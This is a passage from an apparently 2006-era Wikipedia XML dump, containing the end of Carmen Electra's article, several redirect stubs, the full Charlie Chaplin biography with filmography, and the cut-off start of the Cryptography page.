*''Naked Movie'' ([[2002]])
*''Whacked!'' ([[2002]])
*''[[Uptown Girls]]'' ([[2003]])
*''My Boss's Daughter'' ([[2003]])
*''[[Starsky &amp; Hutch]]'' ([[2004]])
*''[[Mr. 3000]]'' ([[2004]]) (Cameo)
*''Max Havoc: Curse of the Dragon'' ([[2004]])
*''[[Dirty Love (film)|Dirty Love]]'' ([[2005]])
*''Lil' Pimp'' ([[2005]]) (voice)
*''Searching for Bobby D'' ([[2005]])
*''Getting Played'' ([[2005]])
*''[[Cheaper by the Dozen 2]]'' ([[2005]])
*''[[Date Movie]]'' ([[2006]])
Upcoming:
*''Full of It'' (2006)
*''Hot Tamale'' (2006)
*''[[National Lampoon's Pledge This!]]'' (2006)
*''[[Scary Movie 4]]'' (2006)
*''Beyond Legend: Johnny Kakota'' (2006)

[[Image:yasminebleethfhmbaywatchcover2.jpg|thumb|200px|right|Carmen Electra (left), [[Pamela Anderson]] (center) and [[Yasmine Bleeth]] (right) on the cover of [[FHM]] magazine.]]

==TV Work==
*''[[Singled Out]]'' (host in [[1997]])
*''[[Loveline]]'' (host in [[1997]])
*''[[Baywatch]]'' (cast member from [[1997]]-[[1998]])
*''Baywatch: White Thunder at Glacier Bay'' ([[1998]])
*''Hyperion Bay'' (cast member in [[1999]])
*''Electra's Guy'' ([[2000]])
*''VH1's 100 Greatest Artists of Hard Rock ([[2000]] host)
*''Cleavage ([[2002]]) (documentary) (narrator)
*''Carmen &amp; Dave: An MTV Love Story'' ([[2002]])
*''Livin' Large'' (host from [[2002]]-[[2003]] and from [[2003]]-[[2004]])
*''[[BattleBots]]'' (host in [[2002]])
*''[[Dance Fever]]'' ([[2003]]) (contest judge)
*''[[Baywatch: Hawaiian Wedding]]'' ([[2003]])
*''Til Death Do Us Part: Carmen + Dave'' ([[2004]]) (miniseries)
*''Monster Island'' ([[2004]])
*''Manhunt: The Search for America's Most Gorgeous Male Model'' ([[2004]]) (miniseries)
*''Naked Women's Wrestling League'' (host [[2004]]) (pay-per-view event) 
*''[[Tripping the Rift]]'' ([[2005]]-present) (voice of ''Six'' in the second season of the Canadian version of the series, replacing [[Gina Gershon]])

She also has appeared on an episode of ''[[The Simpsons]]'', on which she was hosting a game show (and had posed as an old woman who Homer had allegedly killed earlier in the episode).

==Other Work==
*''[[Embrace]]'' [[Comic Book]] written by Carmen Electra for London Night Studios.

Worked exclusively on Jim Wolfe from 10/96-12/97

&quot;Glam Slam Ulysses&quot; Interactive Musical Theatrical Production,” conceived by Prince. Debuted at Prince's legendary *''[[Glam Slam L.A.]]'' nightclub.

== External links ==
* [http://www.carmenelectra.com/ Official website]
* {{imdb name|id=0001182|name=Carmen Electra}}

[[Category:1972 births|Electra, Carmen]]
[[Category:Living people|Electra, Carmen]]
[[Category:Cincinnatians|Electra, Carmen]]
[[Category:American models|Electra, Carmen]]
[[Category:Adult models|Electra, Carmen]]
[[Category:American female singers|Electra, Carmen]]
[[Category:American film actors|Electra, Carmen]]
[[Category:Prince protégés|Electra, Carmen]]
[[Category:Worst Supporting Actress Razzie nominees|Electra, Carmen]]
[[Category:Irish-American actors|Electra, Carmen]]
[[Category:German-Americans|Electra, Carmen]]
[[Category:Multiracial Americans|Electra, Carmen]]

[[bg:Кармен Електра]]
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    </revision>
  </page>
  <page>
    <title>ClusterSampling</title>
    <id>5137</id>
    <revision>
      <id>15903367</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cluster sampling]]
</text>
    </revision>
  </page>
  <page>
    <title>CumulativeDistributionFunction</title>
    <id>5138</id>
    <revision>
      <id>15903368</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cumulative distribution function]]
</text>
    </revision>
  </page>
  <page>
    <title>CartesianProduct</title>
    <id>5139</id>
    <revision>
      <id>15903369</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cartesian product]]
</text>
    </revision>
  </page>
  <page>
    <title>Comedy Film</title>
    <id>5140</id>
    <revision>
      <id>15903370</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Comedy film]]
</text>
    </revision>
  </page>
  <page>
    <title>Cult Film</title>
    <id>5141</id>
    <revision>
      <id>15903371</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cult film]]
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    </revision>
  </page>
  <page>
    <title>Charlie Chaplin</title>
    <id>5142</id>
    <revision>
      <id>42090671</id>
      <timestamp>2006-03-03T19:40:19Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{dablink|For the [[Jamaica|Jamaican]] musician named Charlie Chaplin, see [[Charlie Chaplin (singer)]]; for the artist and printmaker, see [[Charles Chaplin (artist)]].}}
{{Infobox Celebrity
| name        = Sir '''Charles Spencer Chaplin, Jr'''
| image       = Charlie Chaplin.jpg
| caption     = Chaplin in his costume as ''The Tramp''.
| birth_date  = [[April 16]], [[1889]]
| birth_place = [[Walworth, London]], [[England]]
| death_date  = [[December 25]], [[1977]]
| death_place = [[Vevey]], [[Switzerland]]
| occupation  = [[Actor]], [[film director|director]], [[producer]], [[composer]]
| salary      = 
| networth    = 
| spouse      =
| website     =
| footnotes   = 
}}
[[image:CharlieChaplinCitylights2.jpg|thumb|right|250px|Charlie Chaplin and [[Virginia Cherrill]] in ''City Lights'' (1931)]]
Sir '''Charles Spencer Chaplin, Jr''', [[Order of the British Empire|KBE]], ([[April 16]], [[1889]] &amp;ndash; [[December 25]], [[1977]]) was a [[United Kingdom|British]] born [[actor]], the most famous actor in early to mid [[Hollywood]] [[film|cinema]] era, and also a notable [[film director|director]]. His principal character was &quot;[[The Tramp]]&quot;: a [[vagrancy|vagrant]] with the refined manners and dignity of a [[gentleman]] who wears a tight coat, oversized pants and shoes, a derby or bowler hat, a bamboo cane, and his signature [[toothbrush moustache]].  Chaplin was one of the most creative personalities in the [[silent film]] era; he acted in, directed, scripted, produced, and eventually scored his own films.

==Birth==
He was believed to have been born on [[April 16]], [[1889]] {{ref|birth}}. There is some doubt whether [[April 16]] is actually his birthday, and it is possible he was not born in 1889. There is also uncertainty about his birthplace: [[London]] or [[Fontainebleau|Fontainebleau, France]]. There is no doubt, however, as to his parentage: he was born to Charles Chaplin, Sr. and Hannah Harriette Hill (aka [[Lily Harley]] on stage), both [[Music Hall]] entertainers. His parents separated soon after his birth, leaving him in the care of his increasingly unstable mother.

==Childhood==
[[Image:Chaplinstamp.jpg|thumb|right|250px|A postage stamp issued by [[India]]]]
In 1896, Chaplin's mother was unable to find work; Charlie and his older half-brother [[Sydney Chaplin]] had to be left in the [[workhouse]] at [[Lambeth]], moving after several weeks to Hanwell School for Orphans and Destitute Children. His father died an [[alcoholic]] when Charlie was 12, and his mother suffered a mental breakdown, and was eventually admitted temporarily to the Cane Hill Asylum at Coulsdon (near Croydon). She died in 1928 in the United States, two years after coming to the States to live with Chaplin, by then a commercial success.

==Stage==
Charlie first took to the stage when, aged five, he performed in Music Hall in 1894, standing in for his mother. As a child, he was confined to a bed for weeks due to a serious illness, and, at night, his mother would sit at the window and act out what was going on outside. In 1900, aged 11, his brother helped get him the role of a comic cat in the [[pantomime]] ''[[Cinderella]]'' at the [[London Hippodrome]]. In 1903 he appeared in 'Jim, A Romance of Cockayne', followed by his first regular job, as the newspaper boy Billy in Sherlock Holmes, a part he played into 1906. This was followed by Casey's 'Court Circus' [[variety show]], and, the following year, he became a clown in [[Fred Karno]]'s 'Fun Factory' slapstick comedy company.

==America==
According to immigration records, he arrived in the [[United States]] with the Karno troupe on [[October 2]], [[1912]].  In the Karno Company was Arthur Stanley Jefferson, who would later become known as [[Stan Laurel]]. Chaplin and Laurel wound up sharing a room in a boarding house. Stan Laurel returned to [[England]] but Chaplin remained in the [[United States]]. Chaplin's act was seen by film producer [[Mack Sennett]], who hired him for his studio, the [[Keystone Film Company]].

While Chaplin initially had difficulty adjusting to the Keystone style of film acting, he soon adapted and flourished in the medium. This was made possible in part by Chaplin developing his signature Tramp persona, and by eventually earning directorship and creative control, which enabled him to become Keystone's top star and talent.

[[image:Charlie chaplin early 1914.gif |thumb|right|250px|&quot;Kid auto races at Venice&quot; (1914) Chaplin's 2nd film and debut of the &quot;tramp&quot; character.]] 

His salary history shows how rapidly he became world famous, and the skill of his brother, [[Sydney Chaplin|Sydney]], at being his business manager.
* [[1914 in film|1914]]: Keystone, worked for $150 a week
* 1914-[[1915 in film|1915]]: [[Essanay Studios]], of Chicago, Illinois, $1250 a week, plus $10,000 signing bonus
* [[1916 in film|1916]]-1917: Mutual, $10,000 a week, plus $150,000 signing bonus
* [[1917 in film|1917]]: [[First National]], $1 million deal &amp;mdash; the first actor ever to earn that sum. He also formed his own independent production company, the Charles Chaplin Film Corporation, which made him a very wealthy man

==Auteur==
Chaplin built his own Hollywood studio in 1918, and assumed an unparalleled degree of artistic and financial independence over his productions.  Using this independence, over the next 35 years he created a remarkable, timeless body of work that remains entertaining and influential. These include comedy shorts including: ''[[A Dog's Life]]'' (1918), and ''[[Pay Day (1922 film)|Pay Day]]'' (1922); longer films, such as: ''[[Shoulder Arms]]'' (1918) and ''[[The Pilgrim]]'' (1923); and his great silent feature length films, among them: ''[[The Kid (1921 film)|The Kid]]'' (1921), ''[[A Woman of Paris]]'' (1923), ''[[The Gold Rush]]'' (1925), and ''[[The Circus]]'' (1928).  After the arrival of sound films, he made ''[[City Lights]]'' (1931) and ''[[Modern Times]]'' (1936), essentially silent films scored with his own music and sound effects.  His dialogue films made in Hollywood were ''[[The Great Dictator]]'' (1940), ''[[Monsieur Verdoux]]'' (1947), and ''[[Limelight (film)|Limelight]]'' (1952). 

[[image:CharlieChaplinTheModernTimes2.jpg|thumb|left|250px|&quot;Modern Times&quot; (1936) depicts the dismal situation of workers and the poor in industrial society. The Eating Machine Scene depicts the dehumanizing effect of mechanization.]]

While ''Modern Times'' (1936) is a non-talkie, it does contain talk -- usually coming from inanimate objects such as a radio or a TV monitor.  This was done to help 1930s audiences, who were out of the habit of watching silent films, adjust to not hearing dialogue.  Chaplin being observed by his boss while sneaking a smoke in the bathroom came before [[George Orwell]]'s &quot;[[Big Brother]]&quot; by more than a decade, and might have inspired it. ''Modern Times'' was the first film where Chaplin's voice is heard (in the nonsense song at the end).  However, for most viewers it is still considered a silent film.

==United Artists==
In [[1919 in film|1919]] he founded the [[United Artists]] film distribution company with [[Mary Pickford]], [[Douglas Fairbanks]] and [[D. W. Griffith]], and served on the board of UA until the early 1950s.

Although &quot;[[talkie]]s&quot; became the dominant mode of moviemaking soon after they were introduced in [[1927 in film|1927]], Chaplin resisted making a talkie all through the [[1930s]].  It is a tribute to Chaplin's versatility that he also has one film credit for choreography for the [[1952 in film|1952]] film ''[[Limelight (film)|Limelight]]'', and one credit as a singer for the title music of the [[1928 in film|1928]] film ''[[The Circus]]''. The best-known of several songs he composed are &quot;[[Smile (song)|Smile]]&quot;, famously covered by [[Nat King Cole]], among others, and the theme from ''[[Limelight (film)|Limelight]]''.

&lt;br style=&quot;clear:both&quot; /&gt;
[[image:CharlieChaplinDictator2.jpg|thumb|left|250px|&quot;The Great Dictator&quot; (1940) was an act of defiance against Adolf Hitler and fascism. Chaplin played a fascist dictator clearly modeled on Hitler (also with a certain physical likeness).]]

==The Great Dictator==
His first dialogue picture, ''[[The Great Dictator]]'' ([[1940 in film|1940]]) was an act of defiance against [[Adolf Hitler]] and [[fascism]], filmed and released in the United States one year before it abandoned its policy of [[isolationism]] to enter [[World War II]]. The film was a remarkable act of courage in the political environment of the time, both for its fearless ridicule of Nazism, and for the portrayal of overt Jewish characters and the depiction of their persecution.  Chaplin played a fascist [[dictator]] clearly modeled on Hitler (also with a certain physical likeness), as well as a [[Jew]]ish barber cruelly persecuted by the [[Nazi]]s. Hitler, who was a great fan of movies, is known to have seen the film twice (records were kept of movies ordered for his personal theater).  Interestingly, Chaplin and Hitler were born only four days apart (Hilter was born on April 20, 1889). 

[[image:CharlieChaplinDictator.jpg|thumb|right|250px|Charlie Chaplin (not as a Jewish barber, but as himself) in &quot;The Great Dictator&quot; (1940)]]

==Politics==
Chaplin's political sympathies always lay with the [[left-wing politics|left]]. His politics seem tame by modern standards, but after the 1940's his views (in conjunction with his influence and fame) were seen by many as dangerously radical.  His silent films made prior to the [[Great Depression]] typically did not contain overt political themes or messages, apart from the Tramp's plight in poverty and his run ins with the law.  But his films made in the 1930's were more openly political.  ''[[Modern Times]]'' ([[1936 in film|1936]]) depicts the dismal situation of workers and the poor in industrial society.  The final dramatic speech in his 1940 film ''[[The Great Dictator]]'', which was critical of patriotic nationalism, was highly controversial, as was his vocal public support for the opening of a second European front in 1942 to assist the [[Soviet Union]] in [[World War II]].  The critical view of [[capitalism]] in his 1947 black comedy ''[[Monsieur Verdoux]]'' was hugely controversial, with the film being protested at many US cities.

[[image:CharlieChaplinAndGandhi.jpg|thumb|left|250px|Charlie Chaplin and Mahatma Gandhi.]]

==McCarthyism==
Although Chaplin had his major successes in the [[United States]] and was a resident from 1914 to 1952, he retained his [[United Kingdom|British]] nationality. During the era of [[McCarthyism]], Chaplin was accused of &quot;[[un-American activities]]&quot; as a suspected [[communism|communist]]; and [[J. Edgar Hoover]], who had instructed the [[FBI]] to keep extensive files on him, tried to end his United States residency.  FBI pressure on Chaplin grew after his 1942 campaign for a second front in the war, and reached a critical level in the late 1940's, when Congressional figures threatened to call him as a witness in hearings.  This was never done, probably because of fear of Chaplin's ability to ridicule and lampoon the investigators.

In [[1952]], Chaplin left the US for a trip to England; Hoover learned of it and negotiated with the [[Immigration and Naturalization Service|INS]] to revoke his re-entry permit. Chaplin then decided to stay in [[Europe]], and made his home in [[Vevey]], [[Switzerland]]. He briefly returned to the United States in April [[1972 in film|1972]], with his wife, to receive an [[Academy Honorary Award|Honorary Oscar]]. Even though he was invited by the Academy of Motion Picture Arts and Sciences (the [[Academy Awards]]), he was only issued a one-time entry visa valid for two months.

[[image:Chaplin_The_Kid.jpg|thumb|right|250px|Chaplin and [[Jackie Coogan]] in &quot;[[The Kid (1921 film)|The Kid]]&quot; (1921)]]

==Academy Award==
Chaplin won two honorary [[Academy Award|Oscar]]s. When the first Oscars were awarded on [[May 16]], [[1929 in film|1929]], the voting audit procedures that now exist had not yet been put into place, and the categories were still very fluid. Chaplin had originally been nominated for both Best Actor and Best Comedy Directing for his movie ''[[The Circus]]'', but his name was withdrawn and the Academy decided to give him a special award &quot;for versatility and genius in acting, writing, directing and producing ''The Circus''&quot; instead. The other film to receive a special award that year was ''[[The Jazz Singer]]''.  

Chaplin's second honorary award came 44 years later in 1972, and was for &quot;the incalculable effect he has had in making motion pictures the art form of this century&quot;. He came out of his exile to accept his award. Upon receiving the award, Chaplin received the longest [[standing ovation]] in Academy Award history, lasting a full five minutes from the delighted, enthralled star-studded studio audience.

Chaplin was also nominated without success for Best Picture, Best Actor, and Best Original Screenplay for ''[[The Great Dictator]]'', and again for Best Original Screenplay for ''[[Monsieur Verdoux]]'' ([[1947 in film|1947]]).

It is sometimes overlooked that Chaplin also won a competitive Academy Award.  In [[1973 in film|1973]], he received an Oscar for the [[Academy Award for Original Music Score|Best Music in an Original Dramatic Score]] for the 1952 film ''[[Limelight (movie)|Limelight]]'', which co-starred [[Claire Bloom]].  The film also features a cameo with [[Buster Keaton]], which was the first and last time the two great comedians ever appeared together.  Because of Chaplin's difficulties with McCarthyism, the film did not open in Los Angeles when it was first produced. This criterion for nomination was not fulfilled until 1972.  

His final films were ''[[A King in New York]]'' ([[1957 in film|1957]]) and ''[[A Countess From Hong Kong]]'' ([[1967 in film|1967]]), starring [[Sophia Loren]] and [[Marlon Brando]].

==Relationships==
===Mildred Harris===
Chaplin's professional successes were repeatedly overshadowed by his private life, particularly with regard to his politics and his pattern of relationship with young women. On [[October 23]], [[1918]], the 28 year old Chaplin married the 16-year-old [[Mildred Harris]]. They had one child, Norman Spencer Chaplin, who died in infancy; they divorced in 1920. During the divorce Chaplin claimed Harris had had a [[lesbian]] affair with noted actress of the time [[Alla Nazimova]], well known for seducing young actresses. Harris in turn claimed Chaplin was a sexual addict into very unusual sex activities. Both claims have merit.

===Lita Grey===
At 35, he became involved with 16-year-old [[Lita Grey]] during preparations for ''[[The Gold Rush]]''. They married on [[November 26]], [[1924]] after she became pregnant. They had two sons, the actors [[Charles Chaplin Jr.]] (1925-1968) and [[Sydney Earle Chaplin]]. Their extraordinarily bitter divorce in 1928 had Chaplin paying Grey a then-record-breaking $825,000 settlement. The stress of the sensational divorce, compounded by a tax dispute, allegedly turned his hair white. The publication of court records, which included many intimate details, led to a campaign against him. 

===Paulette Goddard===
Chaplin and actress [[Paulette Goddard]] were involved in a romantic and professional relationship between 1932 and 1940, with Goddard living with Chaplin in his Beverly Hills home for most of this time.  After the relationship ended, Chaplin made public statements that they had been secretly married in 1936, but in private he claimed they were in fact never officially married. In any case, their common-law marriage ended amicably in 1942, with Goddard being granted a divorce and settlement. 

===Joan Barry===
Chaplin briefly dated actress [[Joan Barry]], but ended it when she started harassing him and displaying signs of severe mental illness. In May 1943, she filed a paternity suit against him. Blood tests proved Chaplin was not the father, but as blood tests were inadmissible evidence in court, he was ordered to pay $75 a week until the child turned 21.

===Oona O'Neill===
Shortly thereafter, he met [[Oona O'Neill]], daughter of [[Eugene O'Neill]], and married her on [[June 16]], [[1943]]. He was 54; she was 17.  This happened in the face of her father's refusal to give his permission; he said that if they went through with the marriage, he would never speak to Oona again.  As far as is known, he kept his word.  Despite this, the marriage was a long and happy one, with eight children. They had three sons: [[Christopher Chaplin|Christopher]], [[Eugene Chaplin|Eugene]] and [[Michael Chaplin]] and five daughters: [[Geraldine Chaplin|Geraldine]], [[Josephine Chaplin|Josephine]], [[Jane Chaplin|Jane]], [[Victoria Chaplin|Victoria]] and [[Annette-Emilie Chaplin]].

[[image:CharlieChaplinTheModernTimes3.jpg|thumb|right|250px|Charlie Chaplin and [[Paulette Goddard]] in &quot;Modern Times&quot; (1936)]]

==Knighted==
On [[March 4]], [[1975]], he was [[British honours system|knighted]] as a [[Order of the British Empire|Knight of the British Empire]] by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]].  The honour was first proposed in [[1956]], but was vetoed by the British [[Foreign Office]] on the grounds that he sympathized with the left and that it would damage British relations with the United States, at the height of the [[Cold War]] and with planning for the ill-fated [[Suez Crisis|invasion of Suez]] underway.

==Death==
Chaplin died on [[Christmas Day]], [[1977]], in [[Vevey]], [[Switzerland]], following a [[stroke]], aged 88, and was interred in [[Corsier-Sur-Vevey Cemetery]] in [[Corsier-Sur-Vevey]], [[Vaud]]. On [[March 1]], [[1978]], his body was stolen in an attempt to extort money from his family. The plot failed, the robbers were captured, and the body was recovered 11 weeks later near [[Lake Geneva]].

==Misinformation==

Some have said or suggested Chaplin was Jewish. It is unclear how this rumor began. One anti-Semite, [[George Lincoln Rockwell]] founder of the [[American Nazi Party]], claimed Chaplin's real name was  Israel Thonstein.[http://www.skrewdriver.org.uk/tttw4.html] There has never been any documentation showing Charlie Chaplin was Jewish and he made a point of not giving an answer so as to not dignify the question.

==Legacy==
*There is a statue of Chaplin in front of the alimentarium in [[Vevey]] to commemorate the last part of his life.
*Amongst his many honours, Chaplin has a star on the [[Hollywood Walk of Fame]] and in 1985 he was honoured with his image on a [[List of people on stamps of the United Kingdom|postage stamp of the United Kingdom]] and in 1994 he appeared on a [[List of people on stamps of the United States|United States postage stamp]] designed by caricaturist [[Al Hirschfeld]].
*In 1992 a film was made about his life entitled ''[[Chaplin (film)|Chaplin]]'', directed by Oscar-winner Lord [[Richard Attenborough]], and starring [[Robert Downey Jr.]], [[Dan Aykroyd]], [[Geraldine Chaplin]] (Charlie's daughter, portraying Charlie's mother, her own grandmother), Sir [[Anthony Hopkins]], [[Milla Jovovich]], [[Moira Kelly]], [[Kevin Kline]], [[Diane Lane]], [[Penelope Ann Miller]], [[Paul Rhys]], [[Marisa Tomei]], [[Nancy Travis]], and [[James Woods]].
*In 2001, British comedian [[Eddie Izzard]] played Chaplin in the film, ''[[The Cat's Meow]]'', which theorized about the still-unsolved death of producer [[Thomas Ince]] aboard [[William Randolph Hearst]]'s yacht, of which Chaplin was a passenger of at the time.

==Media==
{{multi-video start}}
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{{multi-video item|filename=Charlie Chaplin, the Marriage Bond.ogg|title=&quot;The marriage bond&quot; |description= A video clip from the silent film, &quot;The Bond&quot; (1918).|format=[[Theora]]}}
{{multi-video item|filename=Charlie Chaplin, The Bond, 1918.ogg|title=&quot;U.S. Liberty Bonds&quot; |description= A video clip from the silent film, &quot;The Bond&quot; (1918).|format=[[Theora]]}}
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{{multi-video end}}

==Trivia==
*[[Geraldine Chaplin]] played her own grandmother, [[Hannah Chaplin]], in [[Richard Attenborough]]'s [[1992]] film &quot;Chaplin&quot;
*A bronze statue to Chaplin was erected in the small seaside town of Waterville, Co. Kerry, Ireland where the star spent many holidays in later life.
*A young Chaplin is a character in ''[[Shanghai Knights]]''; the movie presented the fictional idea that Chaplin originally came to America by stowing away with [[Jackie Chan]] and [[Owen Wilson]]'s characters.
*It is true that Charlie Chaplin once lost a &quot;Charlie Chaplin look-a-like&quot; competition. As Chaplin became popular throughout America, Chaplin look-a-like competitions became popular. On one occasion, a rising young actor called Bob Hope took first prize!
*Chaplin was a friend of [[Luis Buñuel]] in the early 30's.
*In a 2005 poll to find ''[[The Comedian's Comedian]]'', he was voted among the top 20 greatest comedy acts ever by fellow comedians and comedy insiders.
*All his life, Chaplin was known to be an avowed [[atheist]]. He had nothing but contempt for any form of religion. He once joked, &quot;I would love to play the part of Jesus! I fit it perfectly because I am a comedian.&quot;
*Chaplin and Hitler were born in the same week in 1889.

==Filmography==
===Short films as actor===
&lt;div style=&quot;width:50%; float:left&quot;&gt;
*'''1914'''
**''[[A Busy Day]]'' 
**''[[Caught in a Cabaret]]''
**''[[Caught in the Rain]]''
**''[[Cruel, Cruel Love]]''
**''[[Dough and Dynamite]]''
**''[[The Face on the Bar Room Floor]]''
**''[[The Fatal Mallet]]''
**''[[A Film Johnnie]]''
**''[[Gentlemen of Nerve]]''
**''[[Getting Acquainted]]''
**''[[Her Friend the Bandit]]''
**''[[His Favorite Pastime]]''
**''[[His Musical Career]]''
**''[[His New Profession]]''
**''[[His Prehistoric Past]]''
**''[[His Trysting Place]]''
**''[[Kid Auto Races at Venice]]''
**''[[The Knockout]]''
**''[[Laughing Gas (film)|Laughing Gas]]''
**''[[Mabel at the Wheel]]''
**''[[Mabel's Busy Day]]''
**''[[Mabel's Married Life]]''
**''[[Mabel's Strange Predicament]]''
**''[[Making a Living]]''
**''[[The Masquerader]]''
**''[[The New Janitor]]''
**''[[The Property Man]]''
**''[[Recreation (film)|Recreation]]''
**''[[The Rounders]]''
**''[[The Star Boarder]]''
**''[[Tango Tangles]]''
**''[[Those Love Pangs]]''
**''[[Twenty Minutes of Love]]''
&lt;/div&gt;
&lt;div style=&quot;width:50%; float:left&quot;&gt;
*'''1915'''
**''[[The Bank]]''
**''[[Charlie Chaplin's Burlesque on Carmen]]''
**''[[By the Sea]]''
**''[[The Champion (film)|The Champion]]''
**''[[His New Job]]''
**''[[His Regeneration]]''
**''[[In the Park]]''
**''[[A Jitney Elopement]]''
**''[[A Night Out (film)|A Night Out]]''
**''[[A Night in the Show]]''
**''[[Shanghaied (film)|Shanghaied]]''
**''[[The Tramp (film)|The Tramp]]''
**''[[A Woman]]''
**''[[Work (film)|Work]]''
*'''1916'''
**''[[Behind the Screen]]''
**''[[The Count (film)|The Count]]''
**''[[The Fireman (film)|The Fireman]]''
**''[[The Floorwalker]]''
**''[[One A.M.]]''
**''[[The Pawnshop]]''
**''[[Police!]]''
**''[[The Rink]]''
**''[[The Vagabond]]''
*'''1917'''
**''[[The Adventurer (film)|The Adventurer]]''
**''[[The Cure (film)|The Cure]]''
**''[[Easy Street (film)|Easy Street]]''
**''[[The Immigrant]]''
*'''1918'''
**''[[The Bond]]''
**''[[Shoulder Arms]]''
**''[[A Dog's Life]]''
**''[[Triple Trouble]]''
*'''1919'''
**''[[A Day's Pleasure]]''
**''[[Sunnyside (film)|Sunnyside]]''
*'''1921'''
**''[[The Idle Class]]''
*'''1922'''
**''[[Pay Day (1922 film)|Pay Day]]''
*'''1923'''
**''[[The Pilgrim]]''
&lt;/div&gt;

===Feature films===
(as actor and director except as noted)
*''[[Tillie's Punctured Romance (1914 film)|Tillie's Punctured Romance]]'' (1914) (actor only) - first feature-length comedy film ever produced.
*''[[The Kid (1921 film)|The Kid]]'' (1921)
*''[[The Nut]]'' (1921) (cameo only)
*''[[Souls For Sale]]'' (1923) (cameo only)
*''[[A Woman of Paris]]'' (1923) (cameo, dir)
*''[[The Gold Rush]]'' (1925)
*''[[A Woman of the Sea]]'' (1926) (produced only)
*''[[The Circus]]'' (1928)
*''[[Show People]]'' (1928) (cameo only)
*''[[City Lights]]'' (1931)
*''[[Modern Times]]'' (1936)
*''[[The Great Dictator]]'' (1940)
*''[[Monsieur Verdoux]]'' (1947)
*''[[Limelight (film)|Limelight]]'' (1952)
*''[[A King in New York]]'' (1957)
*''[[A Countess From Hong Kong]]'' (1967) (directed and makes a cameo appearance)

==See also==
*[[List of relationships with age disparity]]
*[[Albert Austin]]
*[[Edna Purviance]]
*[[Henry Bergman]]
*[[Eric Campbell]]

==External links ==
{{wikiquote}}
*'''Official Sites'''
**[http://www.charliechaplin.com/ Official Charlie Chaplin Website]
**[http://www.discoverchaplin.com/ Discover Charlie Chaplin]
**[http://www.chaplinmuseum.com/ The Chaplin Museum]
**[http://www.charliechaplinarchive.org/ The Charlie Chaplin Archive]
*'''Biography'''
**[http://www.limelightmovieart.com/galleries/charlie_chaplin.php Charlie Chaplin biography]
**[http://www.clown-ministry.com/History/Charlie-Chaplin.html Clown Ministry's biography of Charlie Chaplin]
**[http://www.geocities.com/qubestrader/chaplin.html Charlie Chaplin - Biographical Chronology]
**[http://www.nettechnowebdesign.com/charlie_chaplin.htm Charlie Chaplin - Biography - Photos - Kiera Chaplin, granddaughter of Charlie Chaplin]
*'''Filmography'''
**{{imdb name|id=0000122|name=Charles Chaplin}}
*'''Fan Sites'''
**[http://www.thelittlefellow.org The Little Fellow: A Charlie Chaplin Fan Page]
**[http://chaplin.comedyclassics.org Charlie Chaplin Forum - A place for fans to chat]
*'''Others'''
**[http://www.chaplinreview.com/ Chaplin Review]
**[http://silentgents.com/PChaplin.html Charlie Chaplin Photo Galleries]
**[http://www.classicmovies.org/articles/aa042201b.htm A collection of tribute webpages to Charlie Chaplin at Classicmovies.org]
**[http://www.csse.monash.edu.au/~pringle/silent/chaplin/aaronhale.html Chaplin - An essay by Aaron Hale]
**[http://wso.williams.edu/~dgerstei/chaplin/intro.html Charlie Chaplin: A WWW Celebration]
**[http://www.fadetoblack.com/foi/charliechaplin/index.html Charlie Chaplin FBI File]
**[http://www.time.com/time/time100/artists/profile/chaplin.html The TIME 100: Charlie Chaplin]
**[http://www.thegoldenyears.org/chaplin.html Classic Movies (1939 - 1969): Directors: Charles Chaplin]
**[http://www.worldcinemaonline.com/films/184/0/Charlie-Chaplin-Film-Festival.html Download Chaplin's 'Mutual Films' in full screen dvd quality at World Cinema Online]

==Notes==
*{{note|birth}} ''Passport to Hollywood: Film Immigrants Anthology''; page 26 ISBN 0-07-070053-2

{{Charlie Chaplin}}

[[Category:1889 births|Chaplin, Charlie]]
[[Category:1977 deaths|Chaplin, Charlie]]
[[Category:Anglicans|Chaplin, Charlie]]
[[Category:Atheists|Chaplin, Charlie]]
[[Category:Best Actor Oscar Nominee|Chaplin, Charlie]]
[[Category:British film directors|Chaplin, Charlie]]
[[Category:English film actors|Chaplin, Charlie]]
[[Category:Entertainers who died in their 80s|Chaplin, Charlie]]
[[Category:Erasmus Prize winners|Chaplin, Charlie]]
[[Category:Hollywood Walk of Fame|Chaplin, Charlie]]
[[Category:Knights Commander of the British Empire|Chaplin, Charlie]]
[[Category:British silent film actors|Chaplin, Charlie]]
[[Category:Vaudeville performers|Chaplin, Charlie]]

{{Link FA|it}}

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[[zh:查理·卓别林]]</text>
    </revision>
  </page>
  <page>
    <title>Cryptology</title>
    <id>5143</id>
    <revision>
      <id>15903373</id>
      <timestamp>2004-03-21T20:59:55Z</timestamp>
      <contributor>
        <username>Matt Crypto</username>
        <id>50457</id>
      </contributor>
      <comment>Moved remainder of page to [[Talk:Cryptographic engineering]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cryptography]]</text>
    </revision>
  </page>
  <page>
    <title>Cryptography</title>
    <id>5144</id>
    <revision>
      <id>42146312</id>
      <timestamp>2006-03-04T03:07:22Z</timestamp>
      <contributor>
        <username>Mangojuice</username>
        <id>178098</id>
      </contributor>
      <minor />
      <comment>/* Symmetric-key cryptography */ fixed links</comment>
      <text xml:space="preserve">
